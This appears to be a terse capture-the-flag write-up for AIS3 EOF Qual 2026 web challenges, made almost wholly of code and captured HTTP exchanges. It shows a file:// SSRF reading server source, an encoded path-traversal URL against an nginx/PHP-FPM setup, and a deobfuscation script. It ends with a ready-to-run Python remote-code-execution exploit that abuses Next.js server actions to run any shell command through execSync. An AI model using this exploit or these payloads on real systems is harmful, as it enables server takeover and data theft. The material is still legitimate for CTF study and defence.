AIS3 EOF QUAL 2026（Web）

1
import { $ } from "bun";
2
import { resolve } from "node:path";
3

4
const server = Bun.serve({
5
    host: "0.0.0.0",
6
    port: 1337,
7
    routes: {
8
        "/": async req => {
9
            return new Response(null, {
10
                status: 302,
11
                headers: { "Location": "/cgi-bin/index.php" },
12
            });
13
        },
14

15
        "/cgi-bin/:filename": async req => {
16
            const filename = req.params.filename;
17
            if (!filename.endsWith(".php")) {
18
                return new Response(`404\n`, {
19
                    status: 404,
20
                    headers: { "Content-Type": "text/plain" },
21
                });
22
            }
23

24
            const scriptPath = resolve("cgi-bin/" + filename);
25
            const body = await req.blob();
26
            const shell = $`${scriptPath} < ${body}`
27
                .env({
28
                    REQUEST_METHOD: req.method,
29
                    QUERY_STRING: new URL(req.url).searchParams.toString(),
30
                    CONTENT_TYPE: req.headers.get("content-type") ?? "",
31
                    CONTENT_LENGTH: body ? String(body.size) : "0",
32
                    SCRIPT_FILENAME: scriptPath,
33
                    GATEWAY_INTERFACE: "CGI/1.1",
34
                    SERVER_PROTOCOL: "HTTP/1.1",
35
                    SERVER_SOFTWARE: "bun-php-server/0.1",
36
                    REDIRECT_STATUS: "200",
37
                })
38
                .nothrow();
39

40
            // PHP-CGI outputs headers + body separated by \r\n\r\n
41
            const output = await shell.text();
42
            const [rawHeaders, ...rest] = output.split("\r\n\r\n");
43
            const headers = new Headers();
44
            for (const line of rawHeaders.split("\r\n")) {
45
                const [k, v] = line.split(/:\s*/, 2);
46
                if (k && v) headers.set(k, v);
47
            }
48

49
            const responseBody = rest.join("\r\n\r\n");
50
            return new Response(responseBody, { headers });
51
        },
52
    }
53
});
54

55
console.log(`listening on http://localhost:${server.port}`);

1
const scriptPath = resolve("cgi-bin/" + filename);

1
"/cgi-bin/:filename": async req => {
2
            const filename = req.params.filename;
3
            if (!filename.endsWith(".php")) {
4
                return new Response(`404\n`, {
5
                    status: 404,
6
                    headers: { "Content-Type": "text/plain" },
7
});}

1
const body = await req.blob();
2
const shell = $`${scriptPath} < ${body}`

1
{"url":"file:///C:/supersecureyouwillneverguessed/app.py","username":"awda"}
2

3
HTTP/1.1 200 OK
4
Server: Werkzeug/3.1.4 Python/3.12.10
5
Date: Wed, 24 Dec 2025 13:50:35 GMT
6
Content-Type: text/html; charset=utf-8
7
Content-Length: 1263
8
Connection: close
9

10
from flask import Flask, request, send_from_directory, send_file, render_template_string
11
import subprocess
12
import os
13

14
app = Flask(__name__, static_folder='static')
15

16
def get_os():
17
    import ctypes.wintypes
18
    v = ctypes.windll.kernel32.GetVersion()
19
    return f"Windows {v & 0xFF}.{(v >> 8) & 0xFF}"
20

21
class User:
22
    def __init__(self, name):
23
        self.name = name
24
    def __str__(self):
25
        return self.name
26

27
@app.route('/')
28
def index():
29
    with open('static/index.html', encoding='utf-8') as f:
30
        return render_template_string(f.read(), os_info=get_os())
31

32
@app.route('/api/preview', methods=['POST'])
33
def preview():
34
    data = request.get_json()
35
    url = data.get('url', '')
36
    user = User(data.get('username', 'Guest'))
37

38
    result = subprocess.run([r'.\lib\curl.exe', url], capture_output=True, text=True, encoding='utf-8', errors='replace')
39
    content = result.stdout or result.stderr
40

41
    try:
42
        return content.format(user=user)
43
    except:
44
        return content
45

46
@app.route('/api/templates/<name>')
47
def get_template(name):
48
    try:
49
        return send_file(f'templates/{name}.html')
50
    except Exception as e:
51
        return f'Template not found: {e}', 404
52

53

54
if __name__ == '__main__':
55
    app.run(host='0.0.0.0', port=80)

1
{"url":"file:///C:/supersecureyouwillneverguessed/dockerfile","username":"awda"}
2

3
HTTP/1.1 200 OK
4
Server: Werkzeug/3.1.4 Python/3.12.10
5
Date: Wed, 24 Dec 2025 13:51:12 GMT
6
Content-Type: text/html; charset=utf-8
7
Content-Length: 811
8
Connection: close
9

10
FROM python:3.12-windowsservercore-ltsc2022
11

12
WORKDIR /supersecureyouwillneverguessed
13

14
COPY requirements.txt .
15
RUN python -m pip install --no-cache-dir -r requirements.txt
16

17
COPY . .
18

19
# First move the flag (while we have write access)
20
SHELL ["powershell", "-Command"]
21
RUN $rand = -join ((65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_}); Move-Item C:\supersecureyouwillneverguessed\flag.txt C:\flag-$rand.txt; attrib +R (Get-Item C:\flag-*.txt).FullName
22

23
# Then lock down permissions
24
SHELL ["cmd", "/S", "/C"]
25
RUN net user /add appuser && \
26
    attrib +R C:\supersecureyouwillneverguessed\*.* /S && \
27
    icacls C:\supersecureyouwillneverguessed /grant appuser:(OI)(CI)(RX) /T && \
28
    icacls C:\supersecureyouwillneverguessed /deny appuser:(WD,AD,DC)
29

30
USER appuser
31
CMD ["python", "app.py"]

1
map $request_uri $is_static {
2
    default 0;
3
    "~*^/static/.*\.(svg|png|jpg|jpeg|css)$" 1;
4
}

1
http://web/static/%2e%2e%2findex.php/meow.css

1
curl -v http://chals1.eof.ais3.org:19080/static/%2e%2e%2findex.php/meow.css -path-as-is
2

3
...
4
    textarea {min-height:100px; resize:vertical;}
5
    .col {flex:1 1 300px; min-width:220px;}
6
    .actions {text-align:right; margin-top:8px;}
7
    button {background:#1f8cff;color:white;padding:10px 16px;border-radius:8px;border:0;cursor:pointer;}
8
    .small-muted {font-size:12px;color:#666;margin-top:6px}
9
    .logo {max-width:120px; display:block; margin-bottom:12px;}
10
  </style>
11
</head>
12
<body>
13
  <div class="container">
14
    <h1>接続テスト</h1>
15
    <div class="subtitle">あなたのトークン: 200_OK_FROM_WA1NU7</div> <!--- full access token display, local only --->
16
    <form method="post">
17
      <div class="row">
18
        <div class="col">
19
          <label for="url">URL</label>
20
          <input type="text" id="url" name="url" placeholder="https://example.com">
21
        </div>
22
      </div>
23
      <div class="row">
24
        <div class="col">
25
...

1
version: '3'
2
services:
3
  web:
4
    image: nginx:latest
5
    ports:
6
      - "19080:80"
7
    volumes:
8
      - ./conf/default.conf:/etc/nginx/conf.d/default.conf
9
      - ./src:/var/www/html
10
    depends_on:
11
      - php
12

13
  php:
14
    image: php:7.4-fpm
15
    volumes:
16
      - ./src:/var/www/html
17
      - ./flag.txt:/etc/REDACTED_FILENAME.txt # yes, secret.
18

19
# static files should be well handled, but seems like only fpm serves it?

1
function p(){let t=["YW5jZ","ZAS0A",...,"的信仰不足","m:px-"];return(p=function(){return t})()}
2
!function(t,e){let i=I,s=t();for(;;)try{if(parseInt(i(891))/1*(parseInt(i(699))/2)+parseInt(i(945))/3+-parseInt(i(1289))/4*(parseInt(i(1147))/5)+-parseInt(i(1376))/6+parseInt(i(1387))/7+parseInt(i(849))/8*(parseInt(i(598))/9)+-parseInt(i(844))/10===741233)break;s.push(s.shift())}catch(t){s.push(s.shift())}}(p,0);
3

4
function I(t,e){return t-=336,p()[t]}
5

6
const T = I;
7

8
console.log("T(1026):", T(1026));
9
console.log("T(1298):", T(1298));
10
console.log("T(912):", T(912));
11
console.log("B:", T(1267) + T(1399) + T(1138) + T(469) + T(611));
12

13
// Print all strings to find potential Action IDs
14
const fs = require('fs');
15
let output = "";
16
for (let i = 336; i < 336 + p().length; i++) {
17
    try {
18
        let val = I(i);
19
        output += i + ": " + val + "\n";
20
    } catch (e) {}
21
}
22
fs.writeFileSync('strings.txt', output);
23
console.log("Strings written to strings.txt");

1
# /// script
2
# dependencies = ["requests"]
3
# ///
4
import requests
5
import sys
6
import json
7

8
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
9
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
10

11
crafted_chunk = {
12
    "then": "$1:__proto__:then",
13
    "status": "resolved_model",
14
    "reason": -1,
15
    "value": '{"then": "$B0"}',
16
    "_response": {
17
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
18
        # If you don't need the command output, you can use this line instead:
19
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
20
        "_formData": {
21
            "get": "$1:constructor:constructor",
22
        },
23
    },
24
}
25

26
files = {
27
    "0": (None, json.dumps(crafted_chunk)),
28
    "1": (None, '"$@0"'),
29
}
30

31
headers = {"Next-Action": "x"}
32
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
33
print(res.status_code)
34
print(res.text)